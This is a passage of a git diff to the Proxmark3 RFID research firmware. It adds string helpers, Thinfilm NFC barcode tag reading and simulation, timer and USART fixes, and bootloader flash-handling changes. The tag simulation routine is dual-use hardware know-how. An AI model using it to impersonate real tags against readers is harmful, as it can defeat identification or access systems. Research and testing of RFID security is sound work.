ret; + else + s1++, ret++; + return ret; +} + +char *strpbrk(const char *s1, const char *s2) { + while (*s1) + if (strchr(s2, *s1++)) + return (char *)--s1; + return 0; +} + +int strncmp(const char *s1, const char *s2, size_t n) { + while (n--) + if (*s1++ != *s2++) + return *(unsigned char *)(s1 - 1) - *(unsigned char *)(s2 - 1); + return 0; +} + + + + +#define isspace(a) __extension__ ({ unsigned char bb__isspace = (a) - 9; bb__isspace == (' ' - 9) || bb__isspace <= (13 - 9); }) + +unsigned long strtoul(const char *p, char **out_p, int base) { + unsigned long v = 0; + + while (isspace(*p)) + p++; + if (((base == 16) || (base == 0)) && + ((*p == '0') && ((p[1] == 'x') || (p[1] == 'X')))) { + p += 2; + base = 16; + } + if (base == 0) { + if (*p == '0') + base = 8; + else + base = 10; + } + while (1) { + char c = *p; + if ((c >= '0') && (c <= '9') && (c - '0' < base)) + v = (v * base) + (c - '0'); + else if ((c >= 'a') && (c <= 'z') && (c - 'a' + 10 < base)) + v = (v * base) + (c - 'a' + 10); + else if ((c >= 'A') && (c <= 'Z') && (c - 'A' + 10 < base)) + v = (v * base) + (c - 'A' + 10); + else + break; + p++; + } + + if (out_p) *out_p = (char *)p; + return v; +} + +long strtol(const char *p, char **out_p, int base) { + long v = 0; + int is_neg = 0; + + while (isspace(*p)) + p++; + if (*p == '-') + is_neg = 1, p++; + else if (*p == '+') + is_neg = 0; + if (((base == 16) || (base == 0)) && + ((*p == '0') && ((p[1] == 'x') || (p[1] == 'X')))) { + p += 2; + base = 16; + } + if (base == 0) { + if (*p == '0') + base = 8; + else + base = 10; + } + while (1) { + char c = *p; + if ((c >= '0') && (c <= '9') && (c - '0' < base)) + v = (v * base) + (c - '0'); + else if ((c >= 'a') && (c <= 'z') && (c - 'a' + 10 < base)) + v = (v * base) + (c - 'a' + 10); + else if ((c >= 'A') && (c <= 'Z') && (c - 'A' + 10 < base)) + v = (v * base) + (c - 'A' + 10); + else + break; + p++; + } + if (is_neg) + v = -v; + if (out_p) *out_p = (char *)p; + return v; +} + +char c_tolower(int c) { + // (int)a = 97, (int)A = 65 + // (a)97 - (A)65 = 32 + // therefore 32 + 65 = a + return c > 64 && c < 91 ? c + 32 : c; +} + +char c_isprint(unsigned char c) { + if (c >= 0x20 && c <= 0x7e) + return 1; + return 0; +} diff --git a/armsrc/string.h b/armsrc/string.h index f6f094c48..0ebb4ab54 100644 --- a/armsrc/string.h +++ b/armsrc/string.h @@ -12,7 +12,7 @@ #ifndef __STRING_H #define __STRING_H -#include +#include "common.h" int strlen(const char *str); void *memcpy(void *dest, const void *src, int len); @@ -23,5 +23,17 @@ char *strncat(char *dest, const char *src, unsigned int n); char *strcat(char *dest, const char *src); void strreverse(char s[]); void itoa(int n, char s[]); +char *strcpy(char *dst, const char *src); +char *strncpy(char *dst, const char *src, size_t n); +int strcmp(const char *s1, const char *s2); +char *strtok(char *s, const char *delim); +char *strchr(const char *s, int c); +size_t strspn(const char *s1, const char *s2); +char *strrchr(const char *s, int c); +size_t strcspn(const char *s1, const char *s2); +char *strpbrk(const char *s1, const char *s2); +int strncmp(const char *s1, const char *s2, size_t n); +char c_tolower(int c); +char c_isprint(unsigned char c); #endif /* __STRING_H */ diff --git a/armsrc/thinfilm.c b/armsrc/thinfilm.c new file mode 100644 index 000000000..e4b2e9b23 --- /dev/null +++ b/armsrc/thinfilm.c @@ -0,0 +1,166 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Routines to support a mangeled ISO 14443 type A for Thinfilm tags by Kovio +//----------------------------------------------------------------------------- + +#include "thinfilm.h" + +#include "proxmark3_arm.h" +#include "cmd.h" +#include "appmain.h" +#include "BigBuf.h" +#include "iso14443a.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" + +/** + * ref + * https://www.thinfilmnfc.com/wp-content/uploads/2017/09/Thinfilm-Kovio-NFC-Barcode-Protocol-Tag-Functional-Specification-v3.4-2017-05-26.pdf + * https://developer.android.com/reference/android/nfc/tech/NfcBarcode + * + */ + +void ReadThinFilm(void) { + + clear_trace(); + + set_tracing(true); + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + uint8_t len = 0; + uint8_t buf[36] = {0x00}; + + // power on and listen for answer. + bool status = GetIso14443aAnswerFromTag_Thinfilm(buf, &len); + reply_ng(CMD_HF_THINFILM_READ, status ? PM3_SUCCESS : PM3_ENODATA, buf, len); + + hf_field_off(); + set_tracing(false); +} + +#define SEC_D 0xf0 +#define SEC_E 0x0f +#define SEC_F 0x00 +uint16_t FpgaSendQueueDelay; + +uint16_t ReadReaderField(void) { +#if defined RDV4 + return AvgAdc(ADC_CHAN_HF_RDV40); +#else + return AvgAdc(ADC_CHAN_HF); +#endif +} + +static void CodeThinfilmAsTag(const uint8_t *cmd, uint16_t len) { + ToSendReset(); + for (uint16_t i = 0; i < len; i++) { + uint8_t b = cmd[i]; + for (uint8_t j = 0; j < 8; j++) { + ToSend[++ToSendMax] = (b & 0x80) ? SEC_D : SEC_E; + b <<= 1; + } + } + ToSendMax++; +} + +int EmSendCmdThinfilmRaw(uint8_t *resp, uint16_t respLen) { + volatile uint8_t b; + uint16_t i = 0; + uint32_t ThisTransferTime; + // wait for the FPGA to signal fdt_indicator == 1 (the FPGA is ready to queue new data in its delay line) + for (uint8_t j = 0; j < 5; j++) { // allow timeout - better late than never + while (!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)); + if (AT91C_BASE_SSC->SSC_RHR) break; + } + while ((ThisTransferTime = GetCountSspClk()) & 0x00000007); + + + // Clear TXRDY: + AT91C_BASE_SSC->SSC_THR = SEC_F; + + // send cycle + for (; i < respLen;) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = resp[i++]; + FpgaSendQueueDelay = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + } + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = (uint16_t)(AT91C_BASE_SSC->SSC_RHR); + (void)b; + } + if (BUTTON_PRESS()) break; + } + + // Ensure that the FPGA Delay Queue is empty + uint8_t fpga_queued_bits = FpgaSendQueueDelay >> 3; + for (i = 0; i <= fpga_queued_bits / 8 + 1;) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = SEC_F; + FpgaSendQueueDelay = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + i++; + } + } + + return 0; +} + +void SimulateThinFilm(uint8_t *data, size_t len) { + Dbprintf("Simulate %i-bit Thinfilm tag", len * 8); + Dbhexdump(len, data, true); + int16_t status = PM3_SUCCESS; + CodeThinfilmAsTag(data, len); + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + // Set up the synchronous serial port + FpgaSetupSsc(); + + // connect Demodulated Signal to ADC: + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD); + SpinDelay(100); + + uint16_t hf_baseline = ReadReaderField(); + + // Start the timer + StartCountSspClk(); + + bool reader_detected = false; + LED_A_ON(); + for (;;) { + WDT_HIT(); + if (BUTTON_PRESS() || data_available()) { + status = PM3_EOPABORTED; + break; + } + uint16_t hf_av = ReadReaderField(); + if (hf_av < hf_baseline) + hf_baseline = hf_av; + if (hf_av > hf_baseline + 10) { + EmSendCmdThinfilmRaw(ToSend, ToSendMax); + if (!reader_detected) { + LED_B_ON(); + //Dbprintf("Reader detected, start beaming data"); + reader_detected = true; + } + } else { + if (reader_detected) { + LED_B_OFF(); + //Dbprintf("Reader gone, stop beaming data"); + reader_detected = false; + } + } + } + LED_A_OFF(); + reply_ng(CMD_HF_THINFILM_SIMULATE, status, NULL, 0); +} diff --git a/armsrc/Standalone/hf_young.h b/armsrc/thinfilm.h similarity index 60% rename from armsrc/Standalone/hf_young.h rename to armsrc/thinfilm.h index dcd8b13e7..af1564482 100644 --- a/armsrc/Standalone/hf_young.h +++ b/armsrc/thinfilm.h @@ -1,22 +1,19 @@ //----------------------------------------------------------------------------- -// Craig Young 2014 -// Christian Herrmann, 2017 +// Iceman - August 2019 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. //----------------------------------------------------------------------------- -// StandAlone Mod +// Routines to support a mangeled ISO 14443 type A for Thinfilm tags by Kovio //----------------------------------------------------------------------------- -#ifndef __HF_YOUNG_H -#define __HF_YOUNG_H +#ifndef __THINFILM_H +#define __THINFILM_H -#include // for bool -#include "standalone.h" // standalone definitions -#include "iso14443a.h" -#include "protocols.h" +#include "common.h" -#define OPTS 2 +void ReadThinFilm(void); +void SimulateThinFilm(uint8_t *data, size_t len); -#endif /* __HF_YOUNG_H */ +#endif /* __ISO14443A_H */ diff --git a/armsrc/ticks.c b/armsrc/ticks.c index 7ece25b93..0ce55e417 100644 --- a/armsrc/ticks.c +++ b/armsrc/ticks.c @@ -9,10 +9,14 @@ // Timers, Clocks functions used in LF or Legic where you would need detailed time. //----------------------------------------------------------------------------- #include "ticks.h" -// attempt at high resolution microsecond timer -// beware: timer counts in 21.3uS increments (1024/48Mhz) + +#include "proxmark3_arm.h" +#include "dbprint.h" + +// timer counts in 21.3us increments (1024/48MHz), rounding applies +// WARNING: timer can't measure more than 1.39s (21.3us * 0xffff) void SpinDelayUs(int us) { - int ticks = (48 * us) >> 10; + int ticks = ((MCK / 1000000) * us + 512) >> 10; // Borrow a PWM unit for my real-time clock AT91C_BASE_PWMC->PWMC_ENA = PWM_CHANNEL(0); @@ -33,8 +37,13 @@ void SpinDelayUs(int us) { } } +// WARNING: timer can't measure more than 1.39s (21.3us * 0xffff) void SpinDelay(int ms) { - // convert to uS and call microsecond delay function + if (ms > 1390) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf(_RED_("Error, SpinDelay called with %i > 1390"), ms); + ms = 1390; + } + // convert to us and call microsecond delay function SpinDelayUs(ms * 1000); } // ------------------------------------------------------------------------- @@ -49,9 +58,10 @@ void SpinDelay(int ms) { void StartTickCount(void) { // This timer is based on the slow clock. The slow clock frequency is between 22kHz and 40kHz. // We can determine the actual slow clock frequency by looking at the Main Clock Frequency Register. - uint16_t mainf = AT91C_BASE_PMC->PMC_MCFR & 0xffff; // = 16 * main clock frequency (16MHz) / slow clock frequency - // set RealTimeCounter divider to count at 1kHz: - AT91C_BASE_RTTC->RTTC_RTMR = AT91C_RTTC_RTTRST | ((256000 + (mainf / 2)) / mainf); + while ((AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINRDY) == 0); // Wait for MAINF value to become available... + uint16_t mainf = AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINF; // Get # main clocks within 16 slow clocks + // set RealTimeCounter divider to count at 1kHz, should be 32 if RC is exactly at 32kHz: + AT91C_BASE_RTTC->RTTC_RTMR = AT91C_RTTC_RTTRST | ((((MAINCK / 1000 * 16) + (mainf / 2)) / mainf) & AT91C_RTTC_RTPRES); // note: worst case precision is approx 2.5% } @@ -59,12 +69,12 @@ void StartTickCount(void) { * Get the current count. */ uint32_t RAMFUNC GetTickCount(void) { - return AT91C_BASE_RTTC->RTTC_RTVR;// was * 2; + return AT91C_BASE_RTTC->RTTC_RTVR; } uint32_t RAMFUNC GetTickCountDelta(uint32_t start_ticks) { uint32_t stop_ticks = AT91C_BASE_RTTC->RTTC_RTVR; - if (stop_ticks > start_ticks) + if (stop_ticks >= start_ticks) return stop_ticks - start_ticks; return (UINT32_MAX - start_ticks) + stop_ticks; } @@ -175,6 +185,13 @@ uint32_t RAMFUNC GetCountSspClk(void) { return tmp_count; } +uint32_t RAMFUNC GetCountSspClkDelta(uint32_t start) { + uint32_t stop = GetCountSspClk(); + if (stop >= start) + return stop - start; + return (UINT32_MAX - start) + stop; +} + // ------------------------------------------------------------------------- // Timer for bitbanging, or LF stuff when you need a very precis timer // 1us = 1.5ticks @@ -233,11 +250,11 @@ void WaitTicks(uint32_t ticks) { // Wait / Spindelay in us (microseconds) // 1us = 1.5ticks. -void WaitUS(uint16_t us) { - WaitTicks((uint32_t)us * 3 / 2); +void WaitUS(uint32_t us) { + WaitTicks((us & 0x3FFFFFFF) * 3 / 2); } -void WaitMS(uint16_t ms) { - WaitTicks((uint32_t)ms * 1500); +void WaitMS(uint32_t ms) { + WaitTicks((ms & 0x1FFFFF) * 1500); } // stop clock diff --git a/armsrc/ticks.h b/armsrc/ticks.h index 9ff0d6000..b39ec52bd 100644 --- a/armsrc/ticks.h +++ b/armsrc/ticks.h @@ -12,11 +12,7 @@ #ifndef __TICKS_H #define __TICKS_H -#include -#include #include "common.h" -#include "apps.h" -#include "proxmark3.h" #ifndef GET_TICKS #define GET_TICKS GetTicks() @@ -37,12 +33,14 @@ void SpinDelayCountUs(uint32_t us); void StartCountSspClk(); void ResetSspClk(void); uint32_t RAMFUNC GetCountSspClk(); +uint32_t RAMFUNC GetCountSspClkDelta(); void StartTicks(void); uint32_t GetTicks(void); void WaitTicks(uint32_t ticks); -void WaitUS(uint16_t us); -void WaitMS(uint16_t ms); +void WaitUS(uint32_t us); +void WaitMS(uint32_t ms); void StopTicks(void); + #endif diff --git a/common/usart.c b/armsrc/usart.c similarity index 97% rename from common/usart.c rename to armsrc/usart.c index ced1e5e6b..2062c9441 100644 --- a/common/usart.c +++ b/armsrc/usart.c @@ -8,10 +8,8 @@ //----------------------------------------------------------------------------- // The main USART code, for serial communications over FPC connector //----------------------------------------------------------------------------- -#include "cmd.h" #include "usart.h" -#include "string.h" -#include "../armsrc/ticks.h" // startcountus +#include "proxmark3_arm.h" volatile AT91PS_USART pUS1 = AT91C_BASE_US1; volatile AT91PS_PIO pPIO = AT91C_BASE_PIOA; @@ -51,7 +49,7 @@ static size_t us_rxfifo_high = 0; static void usart_fill_rxfifo(void) { - uint16_t rxfifo_free = 0; + uint16_t rxfifo_free ; if (pUS1->US_RNCR == 0) { // One buffer got filled, backup buffer being used if (us_rxfifo_low > us_rxfifo_high) rxfifo_free = us_rxfifo_low - us_rxfifo_high; @@ -229,9 +227,9 @@ void usart_init(uint32_t baudrate, uint8_t parity) { // OVER = 1, -yes we are oversampling // baudrate == selected clock/8/CD --> this is ours // - uint32_t brgr = 48000000 / (usart_baudrate << 3); + uint32_t brgr = MCK / (usart_baudrate << 3); // doing fp = round((mck / (usart_baudrate << 3) - brgr) * 8) with integers: - uint32_t fp = ((16 * 48000000 / (usart_baudrate << 3) - 16 * brgr) + 1) / 2; + uint32_t fp = ((16 * MCK / (usart_baudrate << 3) - 16 * brgr) + 1) / 2; pUS1->US_BRGR = (fp << 16) | brgr; diff --git a/common/usart.h b/armsrc/usart.h similarity index 58% rename from common/usart.h rename to armsrc/usart.h index ef0691df5..01ca0d809 100644 --- a/common/usart.h +++ b/armsrc/usart.h @@ -1,28 +1,20 @@ #ifndef __USART_H #define __USART_H -#include -#include "proxmark3.h" +#include "common.h" +#include "usart_defs.h" -//#define USART_BAUD_RATE 9600 -#define USART_BAUD_RATE 115200 - -// BT HC-06 physical layer runs at 128kbps -// so it's possible to gain a little bit by using 230400 -// with some risk to overflow its internal buffers: -//#define USART_BAUD_RATE 230400 +#define USART_BUFFLEN 512 +#define USART_FIFOLEN (2*USART_BUFFLEN) // Higher baudrates are pointless, only increasing overflow risk extern uint32_t usart_baudrate; -#define USART_PARITY 'N' extern uint8_t usart_parity; void usart_init(uint32_t baudrate, uint8_t parity); int usart_writebuffer_sync(uint8_t *data, size_t len); uint32_t usart_read_ng(uint8_t *data, size_t len); uint16_t usart_rxdata_available(void); -#define USART_BUFFLEN 512 -#define USART_FIFOLEN (2*USART_BUFFLEN) #endif diff --git a/armsrc/util.c b/armsrc/util.c index cad2d2ac5..d1a4fb938 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -9,6 +9,14 @@ //----------------------------------------------------------------------------- #include "util.h" +#include "proxmark3_arm.h" +#include "ticks.h" +#include "commonutil.h" +#include "dbprint.h" +#include "string.h" +#include "usb_cdc.h" +#include "usart.h" + size_t nbytes(size_t nbits) { return (nbits >> 3) + ((nbits % 8) > 0); } @@ -82,6 +90,7 @@ void LEDsoff() { LED_D_OFF(); } +//ICEMAN: LED went from 1,2,3,4 -> 1,2,4,8 void LED(int led, int ms) { if (led & LED_A) // Proxmark3 historical mapping: LED_ORANGE LED_A_ON(); @@ -115,26 +124,27 @@ void SpinOff(uint32_t pause) { SpinDelay(pause); } -// 0=A, 1=B, 2=C, 3=D +// Blinks.. +// A = 1, B = 2, C = 4, D = 8 void SpinErr(uint8_t led, uint32_t speed, uint8_t times) { SpinOff(speed); NTIME(times) { - switch (led) { - case 0: - LED_A_INV(); - break; - case 1: - LED_B_INV(); - break; - case 2: - LED_C_INV(); - break; - case 3: - LED_D_INV(); - break; - } + + if (led & LED_A) // Proxmark3 historical mapping: LED_ORANGE + LED_A_INV(); + if (led & LED_B) // Proxmark3 historical mapping: LED_GREEN + LED_B_INV(); + if (led & LED_C) // Proxmark3 historical mapping: LED_RED + LED_C_INV(); + if (led & LED_D) // Proxmark3 historical mapping: LED_RED2 + LED_D_INV(); + SpinDelay(speed); } + LED_A_OFF(); + LED_B_OFF(); + LED_C_OFF(); + LED_D_OFF(); } void SpinDown(uint32_t speed) { @@ -176,7 +186,13 @@ void SpinUp(uint32_t speed) { // double click, otherwise it will waste 500ms -- use BUTTON_HELD instead int BUTTON_CLICKED(int ms) { // Up to 500ms in between clicks to mean a double click - int ticks = (48000 * (ms ? ms : 1000)) >> 10; + // timer counts in 21.3us increments (1024/48MHz) + // WARNING: timer can't measure more than 1.39s (21.3us * 0xffff) + if (ms > 1390) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf(_RED_("Error, BUTTON_CLICKED called with %i > 1390"), ms); + ms = 1390; + } + int ticks = ((MCK / 1000) * (ms ? ms : 1000)) >> 10; // If we're not even pressed, forget about it! if (!BUTTON_PRESS()) @@ -203,7 +219,7 @@ int BUTTON_CLICKED(int ms) { // reset our timer for 500ms start = AT91C_BASE_PWMC_CH0->PWMC_CCNTR; - ticks = (48000 * (500)) >> 10; + ticks = ((MCK / 1000) * (500)) >> 10; } // Still haven't let it off @@ -233,6 +249,12 @@ int BUTTON_CLICKED(int ms) { // Determine if a button is held down int BUTTON_HELD(int ms) { + // timer counts in 21.3us increments (1024/48MHz) + // WARNING: timer can't measure more than 1.39s (21.3us * 0xffff) + if (ms > 1390) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf(_RED_("Error, BUTTON_HELD called with %i > 1390"), ms); + ms = 1390; + } // If button is held for one second int ticks = (48000 * (ms ? ms : 1000)) >> 10; diff --git a/armsrc/util.h b/armsrc/util.h index 8649f0431..052ae266c 100644 --- a/armsrc/util.h +++ b/armsrc/util.h @@ -12,11 +12,11 @@ #define __UTIL_H #include "common.h" -#include "commonutil.h" -#include "proxmark3.h" -#include "string.h" -#include "BigBuf.h" -#include "ticks.h" + +// PRIx64 definition missing with gcc-arm-none-eabi v8? +#ifndef PRIx64 + #define PRIx64 "llx" +#endif // Basic macros diff --git a/armsrc/vtsend.c b/armsrc/vtsend.c index e851d4334..f07793cce 100644 --- a/armsrc/vtsend.c +++ b/armsrc/vtsend.c @@ -31,7 +31,8 @@ */ #include "vtsend.h" -#include "apps.h" +#include "pm3_cmd.h" +#include "dbprint.h" #define ESC (0x1B) //#define UART_WRITE(P, BUF, SIZ) (P)->uart_write(BUF, SIZ, (P)->extobj) diff --git a/armsrc/vtsend.h b/armsrc/vtsend.h index 4dcb0c62b..63d3d2461 100644 --- a/armsrc/vtsend.h +++ b/armsrc/vtsend.h @@ -33,6 +33,8 @@ #ifndef VTSEND_H #define VTSEND_H +#include "common.h" + #define VTSEND_COLOR_BLACK (0) #define VTSEND_COLOR_RED (1) #define VTSEND_COLOR_GREEN (2) @@ -56,10 +58,6 @@ typedef struct { void *extobj; } vtsend_t; -#ifdef __cplusplus -extern "C" { -#endif - int vtsend_init(vtsend_t *p, VTSEND_SERIAL_WRITE uart_write, void *extobj); int vtsend_cursor_position(vtsend_t *p, const int column, const int line); int vtsend_cursor_up(vtsend_t *p, const int n); @@ -84,10 +82,4 @@ int vtsend_fill_box( vtsend_t *p, const int x1, const int y1, const int x2, const int y2); -#ifdef __cplusplus -} #endif - -#endif - - diff --git a/common/wiegand.c b/armsrc/wiegand.c similarity index 100% rename from common/wiegand.c rename to armsrc/wiegand.c diff --git a/common/wiegand.h b/armsrc/wiegand.h similarity index 100% rename from common/wiegand.h rename to armsrc/wiegand.h diff --git a/bootrom/Makefile b/bootrom/Makefile index afc4162a7..5c7823896 100644 --- a/bootrom/Makefile +++ b/bootrom/Makefile @@ -3,13 +3,14 @@ # at your option, any later version. See the LICENSE.txt file for the text of # the license. #----------------------------------------------------------------------------- -# Makefile for bootrom, see ../common/Makefile.common for common settings +# Makefile for bootrom, see ../common_arm/Makefile.common for common settings #----------------------------------------------------------------------------- # DO NOT use thumb mode in the phase 1 bootloader since that generates a section with glue code ARMSRC = THUMBSRC = usb_cdc.c \ - bootrom.c + clocks.c \ + bootrom.c ASMSRC = ram-reset.s flash-reset.s VERSIONSRC = version.c @@ -29,14 +30,16 @@ APP_CFLAGS += -fno-stack-protector -fno-pie # Do not move this inclusion before the definition of {THUMB,ASM,ARM}SRC -include ../common/Makefile.common +include ../common_arm/Makefile.common + +INSTALLFW = $(OBJDIR)/bootrom.elf OBJS = $(OBJDIR)/bootrom.s19 # version.c should be remade on every compilation version.c: default_version.c $(info [=] GEN $@) - $(Q)perl ../tools/mkversion.pl .. > $@ || $(COPY) $^ $@ + $(Q)sh ../tools/mkversion.sh > $@ || perl ../tools/mkversion.pl > $@ || $(CP) $^ $@ all: $(OBJS) @@ -49,14 +52,23 @@ $(OBJDIR)/bootrom.elf: $(VERSIONOBJ) $(ASMOBJ) $(ARMOBJ) $(THUMBOBJ) $(Q)$(CC) $(LDFLAGS) -Wl,-T,ldscript-flash,-Map,$(patsubst %.elf,%.map,$@) -o $@ $^ $(LIBS) clean: - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.o - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.elf - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.s19 - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.map - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.d - $(Q)$(DELETE) version.c + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.o + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.elf + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.s19 + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.map + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.d + $(Q)$(RM) version.c -.PHONY: all clean help +install: all + $(info [@] Installing bootrom to $(DESTDIR)$(PREFIX)...) + $(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH) + $(Q)$(CP) $(INSTALLFW) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH) + +uninstall: + $(info [@] Uninstalling bootrom from $(DESTDIR)$(PREFIX)...) + $(Q)$(RM) $(foreach fw,$(INSTALLFW),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(notdir $(fw))) + +.PHONY: all clean help install help: @echo Multi-OS Makefile, you are running on $(DETECTED_OS) @echo Possible targets: diff --git a/bootrom/bootrom.c b/bootrom/bootrom.c index b2811cc6d..aa633f448 100644 --- a/bootrom/bootrom.c +++ b/bootrom/bootrom.c @@ -6,12 +6,15 @@ // Main code for the bootloader //----------------------------------------------------------------------------- -#include +#include "clocks.h" #include "usb_cdc.h" +#include "proxmark3_arm.h" + struct common_area common_area __attribute__((section(".commonarea"))); unsigned int start_addr, end_addr, bootrom_unlocked; -extern char _bootrom_start, _bootrom_end, _flash_start, _flash_end; +extern char _bootrom_start, _bootrom_end, _flash_end; +extern uint32_t _flash_start[AT91C_IFLASH_NB_OF_PAGES * AT91C_IFLASH_PAGE_SIZE / sizeof(uint32_t)]; extern uint32_t _osimage_entry; static int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { @@ -52,7 +55,7 @@ void DbpString(char *str) { static void ConfigClocks(void) { // we are using a 16 MHz crystal as the basis for everything - // slow clock runs at 32Khz typical regardless of crystal + // slow clock runs at 32kHz typical regardless of crystal // enable system clock and USB clock AT91C_BASE_PMC->PMC_SCER |= AT91C_PMC_PCK | AT91C_PMC_UDP; @@ -66,45 +69,7 @@ static void ConfigClocks(void) { (1 << AT91C_ID_PWMC) | (1 << AT91C_ID_UDP); - // worst case scenario, with MAINCK = 16Mhz xtal, startup delay is 1.4ms - // if SLCK slow clock runs at its worst case (max) frequency of 42khz - // max startup delay = (1.4ms*42k)/8 = 7.356 so round up to 8 - - // enable main oscillator and set startup delay - AT91C_BASE_PMC->PMC_MOR = - AT91C_CKGR_MOSCEN | - PMC_MAIN_OSC_STARTUP_DELAY(8); - - // wait for main oscillator to stabilize - while (!(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_MOSCS)) {}; - - // PLL output clock frequency in range 80 - 160 MHz needs CKGR_PLL = 00 - // PLL output clock frequency in range 150 - 180 MHz needs CKGR_PLL = 10 - // PLL output is MAINCK * multiplier / divisor = 16Mhz * 12 / 2 = 96Mhz - AT91C_BASE_PMC->PMC_PLLR = - PMC_PLL_DIVISOR(2) | - //PMC_PLL_COUNT_BEFORE_LOCK(0x10) | - PMC_PLL_COUNT_BEFORE_LOCK(0x3F) | - PMC_PLL_FREQUENCY_RANGE(0) | - PMC_PLL_MULTIPLIER(12) | - PMC_PLL_USB_DIVISOR(1); - - // wait for PLL to lock - while (!(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_LOCK)) {}; - - // we want a master clock (MCK) to be PLL clock / 2 = 96Mhz / 2 = 48Mhz - // datasheet recommends that this register is programmed in two operations - // when changing to PLL, program the prescaler first then the source - AT91C_BASE_PMC->PMC_MCKR = AT91C_PMC_PRES_CLK_2; - - // wait for main clock ready signal - while (!(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_MCKRDY)) {}; - - // set the source to PLL - AT91C_BASE_PMC->PMC_MCKR = AT91C_PMC_PRES_CLK_2 | AT91C_PMC_CSS_PLL_CLK; - - // wait for main clock ready signal - while (!(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_MCKRDY)) {}; + mck_from_slck_to_pll(); } static void Fatal(void) { @@ -122,8 +87,11 @@ void UsbPacketReceived(uint8_t *packet, int len) { switch (c->cmd) { case CMD_DEVICE_INFO: { dont_ack = 1; - arg0 = DEVICE_INFO_FLAG_BOOTROM_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_BOOTROM | - DEVICE_INFO_FLAG_UNDERSTANDS_START_FLASH; + arg0 = DEVICE_INFO_FLAG_BOOTROM_PRESENT | + DEVICE_INFO_FLAG_CURRENT_MODE_BOOTROM | + DEVICE_INFO_FLAG_UNDERSTANDS_START_FLASH | + DEVICE_INFO_FLAG_UNDERSTANDS_CHIP_INFO | + DEVICE_INFO_FLAG_UNDERSTANDS_VERSION; if (common_area.flags.osimage_present) arg0 |= DEVICE_INFO_FLAG_OSIMAGE_PRESENT; @@ -131,24 +99,35 @@ void UsbPacketReceived(uint8_t *packet, int len) { } break; - case CMD_SETUP_WRITE: { - /* The temporary write buffer of the embedded flash controller is mapped to the - * whole memory region, only the last 8 bits are decoded. - */ - volatile uint32_t *p = (volatile uint32_t *)&_flash_start; - for (i = 0; i < 12; i++) - p[i + arg0] = c->d.asDwords[i]; + case CMD_CHIP_INFO: { + dont_ack = 1; + arg0 = *(AT91C_DBGU_CIDR); + reply_old(CMD_CHIP_INFO, arg0, 0, 0, 0, 0); + } + break; + + case CMD_BL_VERSION: { + dont_ack = 1; + arg0 = BL_VERSION_1_0_0; + reply_old(CMD_BL_VERSION, arg0, 0, 0, 0, 0); } break; case CMD_FINISH_WRITE: { - uint32_t *flash_mem = (uint32_t *)(&_flash_start); for (int j = 0; j < 2; j++) { - for (i = 0 + (64 * j); i < 64 + (64 * j); i++) { - flash_mem[i] = c->d.asDwords[i]; - } - uint32_t flash_address = arg0 + (0x100 * j); + AT91PS_EFC efc_bank = AT91C_BASE_EFC0; + int offset = 0; + uint32_t page_n = (flash_address - ((uint32_t)_flash_start)) / AT91C_IFLASH_PAGE_SIZE; + if (page_n >= AT91C_IFLASH_NB_OF_PAGES / 2) { + page_n -= AT91C_IFLASH_NB_OF_PAGES / 2; + efc_bank = AT91C_BASE_EFC1; + // We need to offset the writes or it will not fill the correct bank write buffer. + offset = (AT91C_IFLASH_NB_OF_PAGES / 2) * AT91C_IFLASH_PAGE_SIZE / sizeof(uint32_t); + } + for (i = 0 + (64 * j); i < 64 + (64 * j); i++) { + _flash_start[offset + i] = c->d.asDwords[i]; + } /* Check that the address that we are supposed to write to is within our allowed region */ if (((flash_address + AT91C_IFLASH_PAGE_SIZE - 1) >= end_addr) || (flash_address < start_addr)) { @@ -156,16 +135,15 @@ void UsbPacketReceived(uint8_t *packet, int len) { dont_ack = 1; reply_old(CMD_NACK, 0, 0, 0, 0, 0); } else { - uint32_t page_n = (flash_address - ((uint32_t)flash_mem)) / AT91C_IFLASH_PAGE_SIZE; - /* Translate address to flash page and do flash, update here for the 512k part */ - 